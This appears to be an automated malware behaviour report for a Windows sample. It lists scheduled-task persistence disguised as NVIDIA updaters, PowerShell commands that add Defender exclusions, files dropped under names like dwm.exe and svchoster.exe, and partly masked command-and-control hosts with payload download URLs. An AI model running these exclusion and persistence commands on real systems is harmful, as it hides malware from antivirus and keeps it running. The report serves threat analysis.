Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\nvprofileupdateron_301144044785783218503298867456040374245
- <SYSTEM32>\tasks\nvprofileupdateron_121587235245437727377667901351731263423
- <SYSTEM32>\tasks\nvprofileupdateron_6245311241072045040609830323745785466
- <SYSTEM32>\tasks\nvprofileupdateron_265153029932723591986684710027027145453
- <SYSTEM32>\tasks\nvprofileupdateron_127716929562331750295873076494976861674
- <SYSTEM32>\tasks\nvprofileupdateron_47799739981192872221848964556683155052
- <SYSTEM32>\tasks\nvprofileupdateron_119112781917321729836033726710761685554
- <SYSTEM32>\tasks\nvprofileupdateron_154458241492666831666391806469943532354
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath %LOCALAPPDATA%\Temp"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath C:\Users\
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath %WINDIR%\
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath "%ProgramFiles%\\"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath "%ProgramFiles(x86)%\\"
Modifies file system
Creates the following files
- %CommonProgramFiles%\dwm.exe
- C:\users\public\dwm.exe
- %ProgramFiles(x86)%\dwm.exe
- %ProgramFiles%\dwm.exe
- %HOMEPATH%\dwm.exe
- %TEMP%\dwm.exe
- %LOCALAPPDATA%\dwm.exe
- %TEMP%\svchoster.exe
Network activity
Connects to
- 'no###lware.top':80
- '94.##6.69.109':4372
TCP
HTTP GET requests
- http://no###lware.top/info.txt
- http://ba####.notmalware.top/info.txt
- http://no###lware.top/socks32.exe
- http://no###lware.top/min.bin
HTTP POST requests
- http://no###lware.top/info.php
Other
- '94.##6.69.109':4372
UDP
- DNS ASK no###lware.top
- DNS ASK ba####.notmalware.top
Miscellaneous
Creates and executes the following
- '%TEMP%\svchoster.exe'
Executes the following
- '<SYSTEM32>\cmd.exe' /C schtasks /create /sc hourly /mo 1 /tn NvProfileUpdaterOn_119112781917321729836033726710761685554 /tr "C:\\Program Files\\Common Files\\dwm.exe"
- '<SYSTEM32>\cmd.exe' /C %TEMP%\sihosting.exe
- '<SYSTEM32>\cmd.exe' /C %TEMP%\svchoster.exe
- '<SYSTEM32>\schtasks.exe' /create /sc hourly /mo 1 /tn NvProfileUpdaterOn_6245311241072045040609830323745785466 /tr C:\\Users\\user\\AppData\\Local\\dwm.exe
- '<SYSTEM32>\schtasks.exe' /create /sc hourly /mo 1 /tn NvProfileUpdaterOn_154458241492666831666391806469943532354 /tr C:\\Users\\user\\AppData\\Local\\Temp\\dwm.exe
- '<SYSTEM32>\schtasks.exe' /create /sc hourly /mo 1 /tn NvProfileUpdaterOn_265153029932723591986684710027027145453 /tr "C:\\Program Files\\dwm.exe"
- '<SYSTEM32>\schtasks.exe' /create /sc hourly /mo 1 /tn NvProfileUpdaterOn_127716929562331750295873076494976861674 /tr C:\\Users\\user\\dwm.exe
- '<SYSTEM32>\cmd.exe' /C schtasks /create /sc hourly /mo 1 /tn NvProfileUpdaterOn_6245311241072045040609830323745785466 /tr C:\\Users\\user\\AppData\\Local\\dwm.exe
- '<SYSTEM32>\cmd.exe' /C schtasks /create /sc hourly /mo 1 /tn NvProfileUpdaterOn_154458241492666831666391806469943532354 /tr C:\\Users\\user\\AppData\\Local\\Temp\\dwm.exe
- '<SYSTEM32>\schtasks.exe' /create /sc hourly /mo 1 /tn NvProfileUpdaterOn_121587235245437727377667901351731263423 /tr "C:\\Program Files\\dwm.exe"
- '<SYSTEM32>\schtasks.exe' /create /sc hourly /mo 1 /tn NvProfileUpdaterOn_119112781917321729836033726710761685554 /tr "C:\\Program Files\\Common Files\\dwm.exe"
- '<SYSTEM32>\schtasks.exe' /create /sc hourly /mo 1 /tn NvProfileUpdaterOn_301144044785783218503298867456040374245 /tr C:\\Users\\Public\\dwm.exe
- '<SYSTEM32>\schtasks.exe' /create /sc hourly /mo 1 /tn NvProfileUpdaterOn_47799739981192872221848964556683155052 /tr "C:\\Program Files (x86)\\dwm.exe"
- '<SYSTEM32>\cmd.exe' /C schtasks /create /sc hourly /mo 1 /tn NvProfileUpdaterOn_265153029932723591986684710027027145453 /tr "C:\\Program Files\\dwm.exe"
- '<SYSTEM32>\cmd.exe' /C schtasks /create /sc hourly /mo 1 /tn NvProfileUpdaterOn_127716929562331750295873076494976861674 /tr C:\\Users\\user\\dwm.exe
- '<SYSTEM32>\cmd.exe' /C schtasks /create /sc hourly /mo 1 /tn NvProfileUpdaterOn_121587235245437727377667901351731263423 /tr "C:\\Program Files\\dwm.exe"
- '<SYSTEM32>\cmd.exe' /C schtasks /create /sc hourly /mo 1 /tn NvProfileUpdaterOn_47799739981192872221848964556683155052 /tr "C:\\Program Files (x86)\\dwm.exe"
- '<SYSTEM32>\cmd.exe' /C schtasks /create /sc hourly /mo 1 /tn NvProfileUpdaterOn_301144044785783218503298867456040374245 /tr C:\\Users\\Public\\dwm.exe
- '<SYSTEM32>\cmd.exe' /C C:\Users\Public\disable.exe
- '<SYSTEM32>\cmd.exe' /C powershell -Command "Add-MpPreference -ExclusionPath %temp%"
